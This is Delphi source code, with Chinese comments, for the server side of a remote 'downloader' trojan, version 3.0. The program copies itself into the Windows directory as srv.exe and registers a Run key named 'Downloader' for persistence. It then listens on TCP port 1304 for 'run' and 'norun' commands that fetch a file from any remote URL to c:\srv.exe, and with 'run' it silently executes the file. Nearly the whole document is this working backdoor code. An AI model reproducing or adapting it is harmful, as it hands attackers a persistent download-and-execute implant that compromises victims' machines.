?? 遙控下載者3.0 服務端代碼.txt
字號:
program Server;
uses Windows,Winsock,urlmon;
const
BufSize=1024;
var
buf :array[0..BufSize-1] of char;
function DownloadToFile(Sourcefile, Destfile: string): Boolean; //下載函數
begin
try
Result:=UrlDownloadToFile(nil,PChar(Sourcefile),PChar(Destfile),0,nil)=0;
except
Result:=false;
end;
end;
function StrPas(const Str: PChar): string;//轉換Pchar字符為String格式
begin
Result := Str;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
procedure SendData(FSocket:integer;SendStr:string);
begin
FillChar(buf,BufSize,#0);
strcopy(buf,PChar(SendStr));
send(FSocket,buf,sizeof(buf),0);
end;
procedure Run;
var
wd :TWSAdata;
server,recSocket :TSocket;
ca :TSockAddrIn;
rec_len:integer;
ip :pchar;
port :integer;
cmd:string;
begin
//不能啟動winsock庫,退出
if WSAStartup($0101,wd)<>0 then exit;
//創建一個套接口
server:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
//連接有錯誤,退出
if server=INVALID_SOCKET then exit;
port :=1304;
ip :='127.0.0.1';
ca.sin_family :=PF_INET;
ca.sin_port :=htons(port);
ca.sin_addr.s_addr :=inet_addr(ip);
//將本地地址與套接口捆綁
if bind(server,ca,sizeof(ca))=SOCKET_ERROR then
begin
closesocket(server);
exit;
end;
//監聽
listen(server,5);
recSocket :=accept(server,nil,nil);
while true do
begin
if recSocket=socket_error then exit;
rec_len :=recv(recSocket,buf,BufSize,0);
if rec_len=socket_error then
begin
closesocket(recSocket);
exit;
end;
if rec_len<=0 then exit;
cmd :=strpas(buf);
if copy(cmd,1,3)='run' then //自動運行
begin
cmd:=Copy(cmd,4,length(cmd)-3);
if Pos('http://',cmd)=0 then
cmd:='http://'+cmd;
SendData(recSocket,'>> 服務端接收到命令(下載+自動運行),正在執行...');
if DownloadToFile(cmd,'c:\srv.exe') then //下載成功
begin
Winexec('c:\srv.exe',SW_HIDE);
SendData(server,'>> 服務端下載并運行目標文件成功!');
end else
SendData(recSocket,'>> 服務端下載目標文件失敗!');
end;
if Copy(cmd,1,5)='norun' then //不運行
begin
cmd:=Copy(buf,6,Length(cmd)-5);
if Pos('http://',cmd)=0 then
cmd:='http://'+cmd;
SendData(recSocket,'>> 服務端接收到命令(下載),正在執行...');
if DownloadToFile(cmd,'c:\srv.exe') then //下載成功
SendData(recSocket,'>> 服務端下載目標文件成功!')
else
SendData(recSocket,'>> 服務端下載目標文件失敗!');
end;
end;
closesocket(recSocket);
closesocket(server);
end;
var
mykey :HKEY;
buffer,cmd :array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(buffer,MAX_PATH);
lstrcat(buffer,'\srv.exe');
GetModuleFileName(hInstance,cmd,MAX_PATH);
CopyFile(cmd,buffer,false);
RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\
Windows\CurrentVersion\Run',0,KEY_ALL_ACCESS,mykey);
RegSetValueEx(mykey,'Downloader',0,REG_SZ,@buffer,sizeof(buffer));
Run;
end.
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